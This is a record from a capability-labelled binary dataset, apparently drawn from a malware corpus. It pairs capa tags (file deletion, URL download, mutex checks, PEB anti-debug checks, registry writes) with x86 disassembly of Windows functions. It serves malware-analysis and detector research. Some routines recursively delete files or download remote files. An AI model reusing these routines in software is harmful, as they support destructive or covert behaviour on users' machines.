joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407660
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1314
call fcn.00408940
mov eax, dword [0x40c024]
xor eax, esp
mov dword [esp + 0x1310], eax
cmp dword [0x40c038], 0xffffffff
push ebx
push esi
push edi
je 0x407818
mov edi, dword [ecx + 4]
lea eax, [esp + 0x18]
push 0x108
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [edi + 0xb8]
add esp, 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 3
mov eax, dword [edi + 0xb4]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x44], 3
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 0
mov dword [esp + 0x54], 3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 1
push 0
push esi
mov ebx, eax
call dword [sym.imp.dbghelp.dll_SymInitialize]
push 0
push dword [sym.imp.dbghelp.dll_SymGetModuleBase64]
lea eax, [esp + 0x20]
mov dword [esp + 0x328], 0x58
push dword [sym.imp.dbghelp.dll_SymFunctionTableAccess64]
xorps xmm0, xmm0
mov dword [esp + 0x37c], 0x7d0
push 0
push edi
push eax
push ebx
push esi
push 0x14c
movlpd qword [esp + 0x34], xmm0
call dword [sym.imp.dbghelp.dll_StackWalk64]
test eax, eax
je 0x407811
nop dword [eax + eax]
mov ecx, dword [esp + 0x18]
mov eax, ecx
mov edx, dword [esp + 0x1c]
or eax, edx
je 0x407811
lea eax, [esp + 0x320]
push eax
lea eax, [esp + 0x14]
push eax
push edx
push ecx
push esi
call dword [sym.imp.dbghelp.dll_SymFromAddr]
test eax, eax
je 0x4077e6
lea eax, [esp + 0x374]
push eax
push dword [esp + 0x360]
lea eax, [esp + 0x128]
push dword [esp + 0x360]
push str.__llx___s_n
push eax
call fcn.00407b50
lea eax, [esp + 0x134]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4077c1
push 0
lea ecx, [esp + 0x10]
sub eax, edx
push ecx
push eax
lea eax, [esp + 0x12c]
push eax
push dword [0x40c038]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push dword [sym.imp.dbghelp.dll_SymGetModuleBase64]
lea eax, [esp + 0x20]
push dword [sym.imp.dbghelp.dll_SymFunctionTableAccess64]
push 0
push edi
push eax
push ebx
push esi
push 0x14c
call dword [sym.imp.dbghelp.dll_StackWalk64]
test eax, eax
jne 0x407760
push esi
call dword [sym.imp.dbghelp.dll_SymCleanup]
mov ecx, dword [esp + 0x131c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00407bd1
mov esp, ebp
pop ebp
ret
Function at 0x40849f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4084de
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4084de
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4084de
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4084de
cmp dword [ecx + 0x74], 0xe
jbe 0x4084de
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40f7d0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x40f7f5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x40f868
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x40f82a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x40f85d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x40f85b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x40f821
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x40f7ec
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x431feb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00431be3

Function at 0x4321e9
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004320bd

Function at 0x434dde
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004347a6

Function at 0x1001a64
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov ax, word [ebp + 0xc]
mov dword [ebp - 0x54], 0x44
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x20
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1001ab5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
pop esi
push 1
pop eax
pop edi
leave
ret 8

Function at 0x1001cf6
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
push 2
pop ecx
mov ax, word [esi]
cmp ax, 0x22
jne 0x1001d2c
mov ax, word [esi + ecx]
add esi, ecx
test ax, ax
je 0x1001d22
cmp ax, 0x22
jne 0x1001d11
cmp word [esi], 0x22
jne 0x1001d3a
add esi, ecx
jmp 0x1001d3a
cmp ax, 0x20
jbe 0x1001d3a
add esi, ecx
cmp word [esi], 0x20
ja 0x1001d32
mov ax, word [esi]
test ax, ax
je 0x1001d4c
cmp ax, 0x20
ja 0x1001d4c
add esi, ecx
jmp 0x1001d3a
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [ebp - 0x18], 1
je 0x1001d66
movzx eax, word [ebp - 0x14]
jmp 0x1001d69
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call main
pop esi
leave
ret
Function at 0x10003da4
Capabilities:
Read file via mapping

Disassembly:
mov eax, 0x10042cb7
call fcn.10033d28
sub esp, 0x408
mov eax, dword [0x1005392c]
push ebx
push edi
lea ecx, [ebp - 0x414]
mov dword [ebp - 0x10], eax
call fcn.10024ab4
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x410], bl
mov ecx, 0xff
lea edi, [ebp - 0x40f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x17
stosb byte es:[edi], al
lea eax, [ebp - 0x410]
push 0x10046598
push eax
mov dword [ebp - 4], ebx
call fcn.10033130
add esp, 0xc
push 0x100465c8
push 0x17
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x414]
call fcn.10024ac4
mov eax, dword [0x10054874]
cmp eax, ebx
jne 0x10003e54
lea eax, [ebp - 0x410]
push eax
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
cmp eax, ebx
mov dword [0x10054874], eax
jne 0x10003e54
lea eax, [ebp - 0x410]
push eax
push 0x1000
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x10054874], eax
cmp dword [0x10054878], ebx
jne 0x10003e6d
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10054878], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x414]
call fcn.10024abd
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100341e0
leave
ret
Function at 0x100053e3
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag

Disassembly:
mov eax, 0x10042d84
call fcn.10033d28
sub esp, 0x124
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x3f
pop ecx
push dword [esi + 0x6c]
mov eax, dword [0x1005392c]
push dword [esi + 0x68]
mov dword [ebp - 0x10], eax
push dword [esi + 0x48]
xor eax, eax
push dword [esi + 0x3c]
xor ebx, ebx
push dword [esi + 0x38]
mov byte [ebp - 0x12c], bl
push dword [esi + 0x34]
lea edi, [ebp - 0x12b]
push dword [esi + 0x30]
rep stosd dword es:[edi], eax
push dword [esi + 0x28]
stosw word es:[edi], ax
push dword [esi + 0xc]
stosb byte es:[edi], al
push dword [esi + 0x2c]
lea eax, [ebp - 0x12c]
push dword [esi + 4]
mov dword [ebp - 0x130], ebx
push dword [esi]
push str._d_d_d_d_d_d_d_d_d_lu_d_d
push eax
call fcn.10034fea
add esp, 0x38
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10001cde
push 0x100465fc
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
call fcn.10001bb8
mov edi, 0x100465f8
push edi
push 0xffffffffffffffff
push ebx
lea ecx, [esi + 0x70]
push ecx
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
push dword [ebp + 0x1c]
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
lea ecx, [esi + 0xc4]
push ecx
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
lea ecx, [esi + 0xe0]
push ecx
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
lea ecx, [esi + 0xfc]
push ecx
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
lea ecx, [esi + 0x118]
push ecx
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
add esi, 0x134
push esi
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
push dword [ebp + 0x10]
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push edi
push 0xffffffffffffffff
push ebx
push dword [ebp + 0x14]
mov ecx, eax
call fcn.100018d7
mov ecx, eax
call fcn.10001bb8
push 0xffffffffffffffff
push ebx
push dword [ebp + 0x18]
mov ecx, eax
call fcn.100018d7
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.10001bd5
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.1000151f
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100341e0
leave
ret
Function at 0x1000558a
Capabilities:
Check mutex on windows

Disassembly:
mov eax, 0x10042db3
call fcn.10033d28
sub esp, 0x424
mov eax, dword [0x1005392c]
push ebx
push esi
push edi
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x10], eax
call fcn.10024ab4
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x42c], bl
mov ecx, 0xff
lea edi, [ebp - 0x42b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x18
stosb byte es:[edi], al
lea eax, [ebp - 0x42c]
push 0x100465b0
push eax
mov dword [ebp - 4], ebx
call fcn.10033130
add esp, 0xc
push 0x100465c8
push 0x18
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x430]
call fcn.10024ac4
push dword [ebp + 0x18]
lea eax, [ebp - 0x2c]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.100053e3
add esp, 0x18
lea eax, [ebp - 0x42c]
push eax
push ebx
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.10003da4
push dword [0x10054878]
call fcn.100330a0
push dword [0x10054878]
call fcn.100330a0
push eax
push ebx
push dword [0x10054878]
call fcn.10033d50
mov eax, dword [ebp - 0x28]
add esp, 0x14
cmp dword [ebp - 0x14], 0x10
jae 0x1000566c
lea eax, [ebp - 0x28]
push eax
push dword [0x10054878]
call fcn.10035050
push dword [0x10054878]
call fcn.100330a0
add esp, 0xc
push eax
push dword [0x10054878]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.1000151f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x430]
call fcn.10024abd
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100341e0
leave
ret
Function at 0x10005abb
Capabilities:
Check mutex on windows

Disassembly:
mov eax, 0x10042e65
call fcn.10033d28
sub esp, 0x428
mov eax, dword [0x1005392c]
push ebx
push esi
mov dword [ebp - 0x10], eax
push edi
lea ecx, [ebp - 0x434]
call fcn.10024ab4
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x42c], bl
mov ecx, 0xff
lea edi, [ebp - 0x42b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x18
stosb byte es:[edi], al
lea eax, [ebp - 0x42c]
push 0x100465b0
push eax
mov dword [ebp - 4], ebx
call fcn.10033130
add esp, 0xc
push 0x100465c8
push 0x18
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x434]
call fcn.10024ac4
lea eax, [ebp - 0x42c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.10003da4
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x10054878]
lea ecx, [ebp - 0x2c]
call fcn.10001cde
push dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 1
call fcn.10005886
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x42d], al
call fcn.1000151f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x434]
call fcn.10024abd
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x42d]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100341e0
leave
ret
Function at 0x100073cd
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Get ntdll base address

Disassembly:
mov eax, 0x10043043
call fcn.10033d28
push ecx
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x50]
push edi
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [ebx + 4], edi
mov dword [ebx + 8], edi
mov dword [ebx + 0xc], edi
lea ecx, [esi + 0x70]
mov dword [ebp - 4], edi
call fcn.100016d5
lea ecx, [esi + 0x8c]
call fcn.100016d5
lea ecx, [esi + 0xa8]
call fcn.100016d5
lea ecx, [esi + 0xc4]
call fcn.100016d5
lea ecx, [esi + 0xe0]
call fcn.100016d5
lea ecx, [esi + 0xfc]
call fcn.100016d5
lea ecx, [esi + 0x118]
call fcn.100016d5
lea ecx, [esi + 0x134]
call fcn.100016d5
lea ecx, [esi + 0x150]
call fcn.100016d5
lea ecx, [esi + 0x16c]
call fcn.100016d5
lea ecx, [esi + 0x188]
call fcn.100016d5
lea ecx, [esi + 0x1a4]
call fcn.100016d5
mov ecx, ebx
mov byte [ebp - 4], 0xc
mov dword [esi + 0x6c], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x10], edi
mov dword [esi], edi
mov dword [esi + 0x34], edi
mov dword [esi + 4], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 8], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x68], 0xa
call fcn.10005bb7
push str.00:00_23:59
lea ecx, [esi + 0x1a4]
call fcn.10001bfb
mov edi, 0x100464df
push edi
lea ecx, [esi + 0x70]
call fcn.10001bfb
push edi
lea ecx, [esi + 0x8c]
call fcn.10001bfb
push edi
lea ecx, [esi + 0x188]
call fcn.10001bfb
push edi
lea ecx, [esi + 0x150]
call fcn.10001bfb
push edi
lea ecx, [esi + 0x134]
call fcn.10001bfb
push edi
lea ecx, [esi + 0xfc]
call fcn.10001bfb
push edi
lea ecx, [esi + 0x118]
call fcn.10001bfb
push edi
lea ecx, [esi + 0x16c]
call fcn.10001bfb
push edi
lea ecx, [esi + 0xc4]
call fcn.10001bfb
push edi
lea ecx, [esi + 0xe0]
call fcn.10001bfb
push edi
lea ecx, [esi + 0xa8]
call fcn.10001bfb
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000a09c
Capabilities:
Query or enumerate registry value
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push str.SoftwareMSAD
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000a11a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x80
push edi
push 0x100467dc
call esi
push edi
push 0x100467d8
call esi
push edi
push 0x100467d4
call esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push dword [ebp - 4]
je 0x1000a112
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esi], 0
jmp 0x1000a118
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
leave
ret 8

Function at 0x1000a11e
Capabilities:
Get file attributes
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x1005392c]
push esi
mov dword [ebp + 0x88], eax
lea eax, [ebp - 0x80]
push eax
push str.SoftwareMSAD
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1000a15a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1000a1ce
push ebx
push edi
push 0x40
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x7c], bl
pop ecx
lea edi, [ebp - 0x7b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, esi
stosb byte es:[edi], al
call fcn.1000a04f
push 0xa
lea ecx, [ebp - 0x7c]
push ecx
push eax
call fcn.100351c4
lea eax, [ebp - 0x7c]
push eax
call fcn.100330a0
add esp, 0x10
push eax
lea eax, [ebp - 0x7c]
push eax
push 1
push ebx
push dword [ebp + 0x94]
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000a1c3
push ebx
push ebx
push ebx
push ebx
push ebx
push str.kduef
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push str.plhc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
mov ecx, dword [ebp + 0x88]
pop esi
call fcn.100341e0
add ebp, 0x8c
leave
ret 4
Function at 0x1000acbc
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x1cc]
sub esp, 0x24c
mov eax, dword [0x1005392c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x80
push edi
push 0x10046898
mov dword [ebp + 0x1c8], eax
mov dword [ebp - 0x80], ecx
call esi
push dword [ebp + 0x1d4]
lea eax, [ebp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..
lea eax, [ebp + 0xc8]
push eax
call ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x7c], eax
je 0x1000addf
push str..__
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000adca
push 0x1004688c
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000adca
push dword [ebp + 0x1d4]
lea eax, [ebp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10046888
lea eax, [ebp + 0xc8]
push eax
call ebx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp + 0xc8]
push eax
call ebx
test byte [ebp - 0x78], 0x10
lea eax, [ebp + 0xc8]
je 0x1000ada1
mov ecx, dword [ebp - 0x80]
push eax
call fcn.1000acbc
jmp 0x1000adca
push edi
push eax
call esi
push edi
push str.rer3y
call esi
push edi
push str.wet3e
call esi
push edi
push str.ert4t
call esi
lea eax, [ebp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000ad32
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c8]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
call fcn.100341e0
add ebp, 0x1cc
leave
ret 4
Function at 0x1000b00e
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x1cc]
sub esp, 0x24c
mov eax, dword [0x1005392c]
push esi
push edi
push dword [ebp + 0x1d4]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp + 0x1c8], eax
lea eax, [ebp + 0xc8]
push eax
mov dword [ebp - 0x80], ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..
lea eax, [ebp + 0xc8]
push eax
call esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x7c], eax
je 0x1000b10a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push str..__
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000b0f8
push 0x1004688c
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000b0f8
push dword [ebp + 0x1d4]
lea eax, [ebp + 0xc8]
push eax
call edi
push 0x10046888
lea eax, [ebp + 0xc8]
push eax
call esi
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp + 0xc8]
push eax
call esi
test byte [ebp - 0x78], 0x10
lea eax, [ebp + 0xc8]
push eax
je 0x1000b0e0
mov ecx, dword [ebp - 0x80]
call fcn.1000b00e
jmp 0x1000b0f8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x80
lea eax, [ebp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
call ebx
test eax, eax
jne 0x1000b079
pop ebx
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c8]
xor eax, eax
pop edi
inc eax
pop esi
call fcn.100341e0
add ebp, 0x1cc
leave
ret 4

Function at 0x1000c05e
Capabilities:
Encode data using xor
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov eax, dword [edi]
mov esi, dword [ebx]
mov dword [ebp + 8], 0x100521a4
mov dword [ebp + 0xc], 0x10
mov ecx, dword [ebp + 8]
xor eax, dword [ecx]
push eax
mov dword [ebp - 4], eax
call fcn.1000c011
sub dword [ebp + 8], 4
xor eax, esi
dec dword [ebp + 0xc]
mov esi, dword [ebp - 4]
pop ecx
jne 0x1000c091
mov ecx, eax
mov eax, dword [0x10052164]
xor eax, ecx
mov ecx, dword [0x10052160]
xor ecx, esi
mov dword [edi], ecx
pop edi
pop esi
mov dword [ebx], eax
pop ebx
leave
ret
Function at 0x1000e3cd
Capabilities:
Download url
Receive data

Disassembly:
mov eax, 0x10043c9e
call fcn.10033d28
sub esp, 0x50
cmp dword [0x10094c50], 0x10
mov eax, dword [0x1005392c]
push ebx
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [0x10094c3c]
push edi
mov edi, ecx
mov esi, 0x10094c3c
jae 0x1000e3fc
mov eax, esi
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
cmp dword [0x10094e7c], 0x10
mov eax, dword [0x10094e68]
jae 0x1000e416
mov eax, 0x10094e68
cmp dword [0x10094c50], 0x10
jb 0x1000e425
mov esi, dword [0x10094c3c]
xor ebx, ebx
push ebx
push ebx
push eax
push esi
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x1000e43c
xor al, al
jmp 0x1000e519
lea ecx, [ebp - 0x40]
call fcn.10026c61
push 2
push 0x10094e64
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
call fcn.10027af9
test al, al
jne 0x1000e462
mov byte [ebp - 0x2d], bl
jmp 0x1000e50a
push 0xffffffffffffffff
mov esi, 0x10094c38
push 0x100467cc
mov ecx, esi
mov dword [ebp - 0x34], ebx
call fcn.10009d31
push 0x24
inc eax
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.10001d00
mov eax, dword [ebp - 0x18]
add eax, 0xfffffffe
push eax
push ebx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.10001d00
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10001a1c
push ebx
push 1
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 1
call fcn.1000151f
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x38], ebx
call fcn.10027742
test al, al
jne 0x1000e4de
mov byte [ebp - 0x2d], bl
jmp 0x1000e4f6
push dword [ebp - 0x38]
mov ecx, edi
push dword [ebp - 0x34]
call fcn.1000d92c
test al, al
mov byte [ebp - 0x2d], bl
je 0x1000e4f6
mov byte [ebp - 0x2d], 1
push dword [ebp - 0x34]
call fcn.10034992
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.1000151f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.10026de8
mov al, byte [ebp - 0x2d]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100341e0
leave
ret